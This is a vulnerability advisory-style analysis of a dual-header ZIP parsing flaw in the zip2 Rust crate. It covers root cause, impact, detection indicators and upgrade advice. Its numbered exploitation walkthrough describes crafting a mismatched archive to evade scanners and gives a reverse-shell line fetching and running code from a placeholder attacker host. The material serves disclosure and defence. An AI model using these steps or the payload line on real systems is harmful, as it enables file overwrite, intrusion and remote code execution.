CVE-2026-115905: 
Rust vulnerability analysis and mitigation

CVE-2026-115905 is a "Zip Cloaking" dual-header interpretation conflict vulnerability in the zip2 Rust crate (formerly zip-rs/zip2) that allows an unauthenticated attacker to craft a ZIP archive that bypasses security inspection and causes arbitrary file overwrite, potentially leading to remote code execution. The flaw affects all versions of zip2 through 9.0.4 and was disclosed on October 26, 2026. It carries a CVSS v4.0 base score of 10.0 (Critical) (GitHub Advisory, Feedly).

The root cause is an architectural parser differential (CWE-436: Interpretation Conflict, CWE-20: Improper Input Validation) between the two ZIP reading components in zip2. ZipArchive treats the Central Directory File Header (CDFH) as authoritative for all file lookups, while ZipStreamReader reads exclusively from the Local File Header (LFH) in src/read/stream.rs without cross-referencing the central directory. An attacker crafts a single-entry archive where the LFH declares a malicious target path (e.g., cron_worker.sh) while the CDFH declares a benign filename (e.g., doc_report.pdf); security gateways inspecting via ZipArchive see only the benign name, while backend extraction via ZipStreamReader writes the malicious payload to the attacker-controlled path. The crate also exposes shallow_copy_file, an API that explicitly facilitates constructing such dual-header desynchronizations (GitHub Advisory, Fix Commit).

Successful exploitation enables an unauthenticated remote attacker to overwrite arbitrary files on the server running the vulnerable extraction pipeline, with full confidentiality, integrity, and availability impact on both the vulnerable and subsequent systems. In enterprise architectures where security scanning (AV, WAF, CDR) is decoupled from extraction, the crafted archive bypasses all upstream controls and implants attacker-controlled content — such as backdoor scripts — into production directories, enabling remote code execution. Critical production services can be simultaneously destroyed (DoS) while a C2 shell is planted, and containerized workloads are at risk of host/container escape (GitHub Advisory).

No public proof-of-concept exploit has been observed in the wild as of the disclosure date, and there is no evidence of active exploitation or CISA KEV catalog inclusion (Feedly). However, the GitHub security advisory includes a detailed integration test that reproducibly demonstrates the full exploit chain (security gateway evasion → arbitrary file overwrite → RCE), effectively serving as a functional PoC template (GitHub Advisory). The EPSS score is 0.0 at time of disclosure, reflecting no observed exploitation activity yet (Feedly). The attack requires no authentication, no user interaction, and low complexity, making it highly automatable once weaponized.

1. Craft the malicious ZIP archive: Create a ZIP file with a single entry where the Local File Header (LFH) filename is set to a target path on the victim server (e.g., cron_worker.sh or another critical script), and the payload contains malicious content (e.g., a reverse shell: curl -s https://attacker.c2/shell | sh).
2. Manipulate the Central Directory File Header (CDFH): After writing the archive, locate the CDFH signature (PK\x01\x02) and overwrite the filename field in the CDFH with a benign-looking name (e.g., doc_report.pdf) that will pass security policy checks.
3. Submit the archive to the target: Upload the crafted ZIP to a web portal, API endpoint, or email gateway protected by a security scanner that uses ZipArchive (or any CDFH-first parser) for inspection.
4. Bypass security gateway: The upstream scanner reads the CDFH, sees only doc_report.pdf, and approves the archive as benign.
5. Trigger backend extraction: The approved archive is passed to a backend worker or microservice that uses ZipStreamReader::extract to unpack it. ZipStreamReader reads the LFH and writes the malicious payload to the attacker-specified path (e.g., overwriting cron_worker.sh).
6. Achieve code execution: The next time the overwritten script or binary is executed by the system (e.g., via cron, service restart, or health check), the attacker's payload runs, establishing a C2 connection or performing further lateral movement (GitHub Advisory).

• Network: Outbound connections from the application server to unexpected external IPs or domains shortly after a ZIP file upload event; HTTP POST requests uploading ZIP files where the archive passes content inspection but triggers anomalous downstream behavior.
• File System: Unexpected modification timestamps on critical scripts (e.g., cron jobs, service scripts, configuration files) coinciding with ZIP extraction events; presence of new or modified shell scripts in application working directories or system cron paths; files with .sh, .py, or executable extensions appearing in directories expected to contain only documents.
• Logs: Application logs showing ZipStreamReader extraction of a file whose name differs from what the security scanner logged for the same archive; extraction log entries referencing paths outside the intended output directory.
• Process: Unexpected child processes spawned by the application service (e.g., curl, wget, bash, sh) following a file upload or ZIP extraction event; new cron entries or scheduled tasks created under the application service account (GitHub Advisory).

Upgrade the zip2 crate to version 9.0.5 or later, which introduces opt-in header consistency validation (enforce_header_consistency) that reconciles LFH and CDFH metadata before extraction, rejecting archives with mismatched filenames, compression methods, encryption flags, or timestamps (GitHub Release, Fix Commit). As a workaround where immediate upgrade is not possible: implement application-level validation to detect and reject ZIP files where LFH and CDFH filenames differ; sandbox ZIP extraction operations with restricted file-write permissions (e.g., chroot, container isolation, write-only to a dedicated staging directory); and avoid architectures where security scanning and extraction use different ZIP parsing components (GitHub Advisory).

The vulnerability was credited to researcher ByGh00st (discovery) and Pr0methean (remediation review), both named in the GitHub Security Advisory (GitHub Advisory). The advisory itself generated attention on Mastodon/infosec.exchange and was picked up by vulnerability aggregators including VulDB and CVEFeed shortly after disclosure (Feedly). The inclusion of a detailed, runnable PoC test in the advisory was noted as unusually thorough documentation of the exploit chain for a library-level vulnerability.